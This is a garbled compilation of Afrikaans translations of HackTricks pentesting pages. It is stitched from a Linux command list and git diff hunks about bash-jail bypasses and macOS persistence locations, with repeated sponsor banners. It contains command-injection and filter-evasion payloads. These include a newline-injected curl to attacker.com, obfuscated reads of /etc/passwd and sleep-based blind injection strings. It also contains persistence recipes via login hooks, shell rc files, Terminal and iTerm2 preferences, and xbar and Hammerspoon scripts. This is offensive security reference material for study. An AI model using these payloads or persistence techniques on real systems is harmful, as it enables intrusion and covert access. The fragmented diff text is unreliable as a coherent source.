- `iostat` - Vertoon CPU- en I/O-inligting
- `sar` - Versamel en vertoon stelselaktiwiteit
- `ps` - Vertoon aktiewe prosesse
- `kill` - Stuur 'n sein na prosesse
- `nice` - Stel die prioriteit van 'n proses in
- `renice` - Verander die prioriteit van 'n aktiewe proses
- `top` - Vertoon aktiewe prosesse
- `htop` - Verbeterde weergawe van `top`
- `iotop` - Vertoon I/O-inligting
- `ss` - Vertoon netwerkverbindings
- `netstat` - Vertoon netwerkverbindings, routingtabelle, netwerkinterfaces en statistieke
- `ip` - Vertoon en konfigureer netwerkinterfaces
- `ifconfig` - Vertoon netwerkinterfaces
- `ping` - Toets netwerkverbinding
- `traceroute` - Toets roete na 'n bediener
- `dig` - Toets DNS-navrae
- `host` - Toets DNS-navrae
- `whois` - Soek na inligting oor 'n domein
- `sshd` - SSH-diens
- `telnet` - Skakel na 'n bediener oor 'n Telnet-verbinding
- `ftp` - Skakel na 'n bediener oor 'n FTP-verbinding
- `curl` - Haal data van 'n URL af
- `wget` - Haal lêers van die internet af
- `scp` - Kopieer lêers oor 'n veilige SSH-verbinding
- `rsync` - Sinchroniseer lêers tussen stelsels
- `iptables` - Beheer IP-tabelle en firewall-instellings
- `firewalld` - Beheer die firewalld-diens
- `sestatus` - Kontroleer SELinux-status
- `getenforce` - Kontroleer SELinux-afdwingingsstatus
- `setenforce` - Stel SELinux-afdwinging in
- `chcon` - Verander SELinux-etikette
- `getsebool` - Kontroleer SELinux-booleaanse waardes
- `setsebool` - Stel SELinux-booleaanse waardes in
- `auditctl` - Kontroleer die status van die Linux-audit-stelsel
- `ausearch` - Soek in die Linux-audit-log
- `journalctl` - Vertoon journale
- `systemctl` - Beheer systemd-diens
- `chkconfig` - Beheer dienste
Bash is 'n kragskellingsinterpreter wat algemeen in Linux-stelsels gebruik word. Dit bied 'n kragtige omgewing vir die uitvoering van opdragte en skryf van skrips.
```bash
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
```
## Iptables
### Oorsig
### Inleiding
Iptables is 'n kragtige firewall wat ingebou is in Linux-stelsels. Dit stel gebruikers in staat om netwerkverkeer te bestuur deur toegangsbeheerlys te skep en te bestuur. Dit kan gebruik word om verkeer te blokkeer, te laat deurgaan of te herlei op 'n Linux-bedienersisteem.
Iptables is 'n kragtige firewall wat ingebou is in Linux-stelsels. Dit kan gebruik word om netwerkverkeer te bestuur deur reëls te definieer wat bepaal watter tipe verkeer toegelaat of geblokkeer word. Hierdie gids bevat nuttige Iptables-opdragte wat gebruik kan word vir die harding van Linux-stelsels.
```bash
#Delete curent rules and chains
iptables --flush
@ -448,18 +354,18 @@ iptables -P OUTPUT ACCEPT
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -6,15 +6,15 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
@ -126,7 +126,7 @@ g # These 4 lines will equal to ping
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Omgrens backslash en streepje
### Oorbrug backslash en streepjie
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
@ -159,14 +159,14 @@ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
```
### DNS data eksfiltrasie
### DNS data uitlekking
Jy kan byvoorbeeld **burpcollab** of [**pingb**](http://pingb.in) gebruik.
### Ingeboude funksies
In die geval dat jy nie eksterne funksies kan uitvoer nie en slegs toegang het tot 'n **beperkte stel ingeboude funksies om RCE te verkry**, is daar 'n paar handige truuks om dit te doen. Gewoonlik sal jy **nie al die** **ingeboude** funksies kan gebruik nie, dus jy moet **al jou opsies ken** om te probeer om die tronk te omseil. Idee van [**devploit**](https://twitter.com/devploit).\
Eerstens, kyk na al die [**shell ingeboude**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Dan het jy hierdie **aanbevelings**:
In die geval waar jy nie eksterne funksies kan uitvoer nie en slegs toegang het tot 'n **beperkte stel ingeboude funksies om RCE te verkry**, is daar 'n paar handige truuks om dit te doen. Gewoonlik sal jy **nie al die** ingeboude funksies kan gebruik nie, dus jy moet **al jou opsies ken** om te probeer om die tronk te omseil. Idee van [**devploit**](https://twitter.com/devploit).\
Eerstens, kyk na al die [**shell ingeboude funksies**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Dan het jy hierdie **aanbevelings**:
```bash
# Get list of builtins
declare builtins
@ -223,7 +223,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Oorloop potensiële regexes
### Oorloop moontlike regexes
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
@ -315,9 +315,9 @@ ln /f*
'sh x'
'sh g'
```
## Lees-Alleen/Noexec/Distroless Omgang
## Lees-Slegs/Noexec/Distroless Omgang
Indien jy binne 'n lêersisteem met die **lees-alleen en noexec-beskermings** of selfs in 'n distroless houer is, is daar steeds maniere om **arbitrêre binêre lêers uit te voer, selfs 'n skaal!:**
Indien jy binne 'n lêersisteem met die **lees-slegs en noexec-beskermings** of selfs in 'n distroless houer is, is daar steeds maniere om **arbitrêre binêre lêers uit te voer, selfs 'n skaal!:**
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
@ -336,10 +336,10 @@ Indien jy binne 'n lêersisteem met die **lees-alleen en noexec-beskermings** of
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -352,7 +352,7 @@ Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

View file

@ -6,7 +6,7 @@
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -80,13 +80,13 @@ Die **hoofverskil tussen agente en duiwels is dat agente gelaai word wanneer die
</dict>
</plist>
```
Daar is gevalle waar 'n **agent uitgevoer moet word voordat die gebruiker aanmeld**, hierdie word genoem **PreLoginAgents**. Byvoorbeeld, dit is nuttig om ondersteunende tegnologie by aanmelding te voorsien. Hulle kan ook gevind word in `/Library/LaunchAgents` (sien [**hier**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) 'n voorbeeld).
Daar is gevalle waar 'n **agent moet uitgevoer word voordat die gebruiker aanmeld**, hierdie word genoem **PreLoginAgents**. Byvoorbeeld, dit is nuttig om ondersteunende tegnologie by aanmelding te voorsien. Hulle kan ook gevind word in `/Library/LaunchAgents` (sien [**hier**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) 'n voorbeeld).
{% hint style="info" %}
Nuwe Daemons of Agents konfigurasie lêers sal **gelaai word na die volgende herlaai of deur gebruik te maak van** `launchctl load <target.plist>` Dit is **ook moontlik om .plist lêers sonder daardie uitbreiding te laai** met `launchctl -F <file>` (egter sal daardie plist lêers nie outomaties gelaai word na herlaai nie).\
Dit is ook moontlik om **te ontlas** met `launchctl unload <target.plist>` (die proses wat daarna verwys word, sal beëindig word),
Dit is ook moontlik om **te ontlas** met `launchctl unload <target.plist>` (die proses wat daarna verwys word sal beëindig word),
Om **te verseker** dat daar nie **iets** (soos 'n oorskrywing) is wat 'n **Agent** of **Daemon** **verhoed** **om** **uitgevoer te word** voer uit: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
Om **te verseker** dat daar nie **iets** (soos 'n oorskrywing) is wat 'n **Agent** of **Daemon** **verhoed om** **uitgevoer te word** voer uit: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
{% endhint %}
Lys alle agents en daemons wat deur die huidige gebruiker gelaai is:
@ -99,28 +99,28 @@ Indien 'n plist deur 'n gebruiker besit word, selfs al is dit in 'n daemon-stels
### skulpaanvang lêers
Uiteensetting: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
Uiteensetting (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
Writeup: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
* Nuttig om sandkas te omseil: [](https://emojipedia.org/check-mark-button)
* TCC Omseiling: [](https://emojipedia.org/check-mark-button)
* Maar jy moet 'n toepassing met 'n TCC-omseiling vind wat 'n skulpaanvang lêer uitvoer wat hierdie lêers laai
* Nuttig om sandboks te omseil: [](https://emojipedia.org/check-mark-button)
* TCC-omseiling: [](https://emojipedia.org/check-mark-button)
* Maar jy moet 'n toepassing met 'n TCC-omseiling vind wat 'n skulpaanvang uitvoer wat hierdie lêers laai
#### Liggings
* **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`**
* **Trigger**: Maak 'n terminal oop met zsh
* **Trigger**: Open 'n terminal met zsh
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
* **Trigger**: Maak 'n terminal oop met zsh
* **Trigger**: Open 'n terminal met zsh
* Root benodig
* **`~/.zlogout`**
* **Trigger**: Maak 'n terminal toe met zsh
* **Trigger**: Sluit 'n terminal met zsh
* **`/etc/zlogout`**
* **Trigger**: Maak 'n terminal toe met zsh
* **Trigger**: Sluit 'n terminal met zsh
* Root benodig
* Moontlik meer in: **`man zsh`**
* **`~/.bashrc`**
* **Trigger**: Maak 'n terminal oop met bash
* **Trigger**: Open 'n terminal met bash
* `/etc/profile` (het nie gewerk nie)
* `~/.profile` (het nie gewerk nie)
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
@ -138,7 +138,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
### Heropenede Toepassings
{% hint style="danger" %}
Die konfigurasie van die aangeduide uitbuiting en uitlog en inlog of selfs herlaai het nie vir my gewerk om die toepassing uit te voer nie. (Die toepassing is nie uitgevoer nie, dit moet dalk loop wanneer hierdie aksies uitgevoer word)
Die konfigurasie van die aangeduide uitbuiting en uitlog en inlog of selfs herlaai het nie vir my gewerk om die toepassing uit te voer nie. (Die toepassing is nie uitgevoer nie, dit moet dalk hardloop wanneer hierdie aksies uitgevoer word)
{% endhint %}
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
@ -165,7 +165,7 @@ defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
```
Om **'n toepassing by hierdie lys te voeg** kan jy gebruik:
Om 'n toepassing by hierdie lys te **voeg**, kan jy gebruik:
```bash
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
@ -181,14 +181,14 @@ Om **'n toepassing by hierdie lys te voeg** kan jy gebruik:
* TCC omseiling: [](https://emojipedia.org/check-mark-button)
* Terminal gebruik om FDA-toestemmings van die gebruiker te hê
#### Plek
#### Ligging
* **`~/Library/Preferences/com.apple.Terminal.plist`**
* **Trigger**: Open Terminal
#### Beskrywing & Uitbuiting
In **`~/Library/Preferences`** word die voorkeure van die gebruiker in die Toepassings gestoor. Sommige van hierdie voorkeure kan 'n konfigurasie hê om **ander toepassings/skripte uit te voer**.
In **`~/Library/Preferences`** word die voorkeure van die gebruiker in die Toepassings gestoor. Sommige van hierdie voorkeure kan 'n konfigurasie hê om **ander toepassings/scripts uit te voer**.
Byvoorbeeld, die Terminal kan 'n bevel uitvoer by die Begin:
@ -210,11 +210,9 @@ Hierdie konfigurasie word weerspieël in die lêer **`~/Library/Preferences/com.
}
[...]
```
So, as die plist van die voorkeure van die terminal in die stelsel oorskryf kan word, kan die **`open`** funksionaliteit gebruik word om **die terminal te open en daardie bevel uit te voer**.
Dus, as die plist van die voorkeure van die terminal in die stelsel oorskryf kan word, kan die **`open`** funksionaliteit gebruik word om **die terminal te open en daardie bevel uit te voer**.
Jy kan dit van die opdraggelyns doen met:
{% code overflow="wrap" %}
Jy kan dit van die opdraggelynstelsel toevoeg met:
```bash
# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
@ -234,7 +232,7 @@ Jy kan dit van die opdraggelyns doen met:
#### Plek
* **Enige plek**
* **Trigger**: Maak Terminal oop
* **Trigger**: Open Terminal
#### Beskrywing & Uitbuiting
@ -293,9 +291,9 @@ Uiteensetting: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](ht
#### Beskrywing
Volgens die vorige uiteensettings is dit moontlik om **sekere klankinvoegtoepassings saam te stel** en hulle te laai.
Volgens die vorige uiteensettings is dit moontlik om **sekere klankinvoegtoepassings te kombineer** en hulle te laai.
### QuickLook Invoegtoepassings
### QuickLook-invoegtoepassings
Uiteensetting: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)
@ -313,9 +311,9 @@ Uiteensetting: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theev
#### Beskrywing & Uitbuiting
QuickLook-invoegtoepassings kan uitgevoer word wanneer jy die **voorbeeld van 'n lêer' aktiveer** (druk die spatiebalk met die lêer gekies in Finder) en 'n **invoegtoepassing wat daardie lêertipe ondersteun** geïnstalleer is.
QuickLook-invoegtoepassings kan uitgevoer word wanneer jy die **voorbeeld van 'n lêer aktiveer** (druk die spatiebalk met die lêer gekies in Finder) en 'n **invoegtoepassing wat daardie lêertipe ondersteun** geïnstalleer is.
Dit is moontlik om jou eie QuickLook-invoegtoepassing saam te stel, dit in een van die vorige ligginge te plaas om dit te laai en dan na 'n ondersteunde lêer te gaan en die spatiebalk te druk om dit te aktiveer.
Dit is moontlik om jou eie QuickLook-invoegtoepassing saam te stel, dit in een van die vorige ligginge te plaas om dit te laai en dan na 'n ondersteunde lêer te gaan en spasiëring te druk om dit te aktiveer.
### ~~Aanmelding/Afmelding Hake~~
@ -330,10 +328,10 @@ Dit het nie vir my gewerk nie, nie met die gebruiker LoginHook nie of met die ro
#### Ligging
* Jy moet iets soos `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` kan uitvoer
* Jy moet in staat wees om iets soos `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` uit te voer
* Geleë in `~/Library/Preferences/com.apple.loginwindow.plist`
Hulle is verouderd maar kan gebruik word om bevele uit te voer wanneer 'n gebruiker aanmeld.
Hulle is verouderd maar kan gebruik word om opdragte uit te voer wanneer 'n gebruiker aanmeld.
```bash
cat > $HOME/hook.sh << EOF
#!/bin/bash
@ -343,7 +341,7 @@ chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
```
Hierdie instelling word gestoor in `/Gebruikers/$GEBRUIKER/Biblioteek/Voorkeure/com.apple.loginwindow.plist`
Hierdie instelling word gestoor in `/Gebruikers/$USER/Biblioteek/Voorkeure/com.apple.loginwindow.plist`
```bash
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
@ -433,7 +431,7 @@ chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
```
### macOS Automatiese Beginplekke
Hier is 'n lys van plekke waar programme kan begin as 'n gebruiker inlog op 'n macOS-stelsel:
In macOS is daar verskeie plekke waar programme outomaties begin as jy jou stelsel aan die gang sit. Dit sluit die volgende in:
1. **/Library/LaunchAgents/**
2. **/Library/LaunchDaemons/**
@ -442,8 +440,10 @@ Hier is 'n lys van plekke waar programme kan begin as 'n gebruiker inlog op 'n m
5. **/System/Library/LaunchDaemons/**
6. **/System/Library/StartupItems/**
7. **~/Library/LaunchAgents/**
8. **~/Library/LaunchDaemons/**
9. **~/Library/StartupItems/**
Dit is belangrik om hierdie plekke te monitor en te verseker dat slegs goedgekeurde programme daar begin.
Dit is belangrik om hierdie beginplekke te monitor en te bestuur om te verseker dat slegs goedgekeurde programme begin wanneer jy jou stelsel opstart.
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
@ -468,7 +468,7 @@ Die iTerm2-voorkeure geleë in **`~/Library/Preferences/com.googlecode.iterm2.pl
Hierdie instelling kan in die iTerm2-instellings gekonfigureer word:
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
En die bevel word weerspieël in die voorkeure:
```bash
@ -496,26 +496,26 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2
{% endcode %}
{% hint style="warning" %}
Dit is hoogs waarskynlik dat daar **ander maniere is om die iTerm2-voorkeure te misbruik** om willekeurige bevele uit te voer.
Daar is 'n hoë waarskynlikheid dat daar **ander maniere is om die iTerm2 voorkeure** te misbruik om arbitrêre bevele uit te voer.
{% endhint %}
### xbar
Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/)
Bespreking: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/)
* Nuttig om sandboks te omseil: [](https://emojipedia.org/check-mark-button)
* Maar xbar moet geïnstalleer wees
* TCC-omseiling: [](https://emojipedia.org/check-mark-button)
* TCC omseiling: [](https://emojipedia.org/check-mark-button)
* Dit vra om Toeganklikheidsregte
#### Ligging
* **`~/Library/Application\ Support/xbar/plugins/`**
* **Trigger**: Eenmaal xbar uitgevoer word
* **Trigger**: Wanneer xbar uitgevoer word
#### Beskrywing
As die gewilde program [**xbar**](https://github.com/matryer/xbar) geïnstalleer is, is dit moontlik om 'n skulpskrip te skryf in **`~/Library/Application\ Support/xbar/plugins/`** wat uitgevoer sal word wanneer xbar begin word:
As die gewilde program [**xbar**](https://github.com/matryer/xbar) geïnstalleer is, is dit moontlik om 'n skaalskrip te skryf in **`~/Library/Application\ Support/xbar/plugins/`** wat uitgevoer sal word wanneer xbar begin:
```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
@ -539,9 +539,9 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
#### Beskrywing
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) dien as 'n outomatiseringsplatform vir **macOS**, wat die **LUA-skripsingstaal** benut vir sy werksaamhede. Dit ondersteun veral die integrasie van volledige AppleScript-kode en die uitvoering van skulpskripte, wat sy skripskundigheid aansienlik verbeter.
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) dien as 'n outomatiseringsplatform vir **macOS**, wat die **LUA-skripsingstaal** benut vir sy werksaamhede. Merkwaardig genoeg ondersteun dit die integrasie van volledige AppleScript-kode en die uitvoering van skulpskripte, wat sy skripskundigheid aansienlik verbeter.
Die toepassing soek na 'n enkele lêer, `~/.hammerspoon/init.lua`, en wanneer dit begin word, sal die skrip uitgevoer word.
Die program soek na 'n enkele lêer, `~/.hammerspoon/init.lua`, en wanneer dit begin word die skrip uitgevoer.
```bash
mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
@ -550,35 +550,35 @@ EOF
```
### BetterTouchTool
* Nuttig om sanderblok te omseil: [](https://emojipedia.org/check-mark-button)
* Nuttig om sandboks te omseil: [](https://emojipedia.org/check-mark-button)
* Maar BetterTouchTool moet geïnstalleer wees
* TCC omseiling: [](https://emojipedia.org/check-mark-button)
* Dit vra vir Automatisering-Kortpaaie en Toeganklikheidsregte
* Dit vra om Toestemming vir Automatisering-Snelkoppeling en Toeganklikheid
#### Ligging
* `~/Library/Application Support/BetterTouchTool/*`
Hierdie instrument maak dit moontlik om aansoeke of skripte aan te dui om uit te voer wanneer sekere kortpaaie gedruk word. 'n Aanvaller kan sy eie **kortpad en aksie om in die databasis uit te voer** configureer om dit arbitêre kode uit te voer ( 'n kortpad kan net wees om 'n sleutel te druk).
Hierdie instrument maak dit moontlik om aansoeke of skripte aan te dui wat uitgevoer moet word wanneer sekere snelkoppeling gedruk word. 'n Aanvaller kan sy eie **snelkoppeling en aksie om in die databasis uit te voer** configureer om dit arbitrêre kode te laat uitvoer (n snelkoppeling kan net wees om net n sleutel te druk).
### Alfred
* Nuttig om sanderblok te omseil: [](https://emojipedia.org/check-mark-button)
* Nuttig om sandboks te omseil: [](https://emojipedia.org/check-mark-button)
* Maar Alfred moet geïnstalleer wees
* TCC omseiling: [](https://emojipedia.org/check-mark-button)
* Dit vra vir Automatisering, Toeganklikheid en selfs Volle-Skyf-toegangregte
* Dit vra om Automatisering, Toeganklikheid en selfs Volle-Skyf toegangstoestemming
#### Ligging
* `???`
Dit maak dit moontlik om werksvloei te skep wat kode kan uitvoer wanneer sekere voorwaardes bereik word. Potensieel is dit moontlik vir 'n aanvaller om 'n werksvloei-lêer te skep en Alfred te maak om dit te laai (dit is nodig om die premie weergawe te betaal om werksvloeie te gebruik).
Dit maak dit moontlik om werksvloei te skep wat kode kan uitvoer wanneer sekere voorwaardes voldoen is. Potensieel is dit moontlik vir n aanvaller om n werksvloei-lêer te skep en Alfred dit te laat laai (dit is nodig om die premie weergawe te betaal om werksvloeie te gebruik).
### SSHRC
Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
* Nuttig om sanderblok te omseil: [](https://emojipedia.org/check-mark-button)
* Nuttig om sandboks te omseil: [](https://emojipedia.org/check-mark-button)
* Maar ssh moet geaktiveer en gebruik word
* TCC omseiling: [](https://emojipedia.org/check-mark-button)
* SSH gebruik om FDA-toegang te hê
@ -588,11 +588,11 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.
* **`~/.ssh/rc`**
* **Trigger**: Aanteken via ssh
* **`/etc/ssh/sshrc`**
* Wortel benodig
* Wortel vereis
* **Trigger**: Aanteken via ssh
{% hint style="danger" %}
Om ssh aan te skakel, is Volle Skyf-toegang benodig:
Om ssh aan te sit, vereis Volle Skyf Toegang:
```bash
sudo systemsetup -setremotelogin on
```
@ -600,9 +600,9 @@ sudo systemsetup -setremotelogin on
#### Beskrywing & Uitbuiting
Standaard, tensy `PermitUserRC no` in `/etc/ssh/sshd_config`, wanneer 'n gebruiker **inlog via SSH** sal die skripte **`/etc/ssh/sshrc`** en **`~/.ssh/rc`** uitgevoer word.
Standaard, tensy `PermitUserRC no` in `/etc/ssh/sshd_config`, wanneer 'n gebruiker **inlog via SSH** die skripte **`/etc/ssh/sshrc`** en **`~/.ssh/rc`** uitgevoer sal word.
### **Aanteken Items**
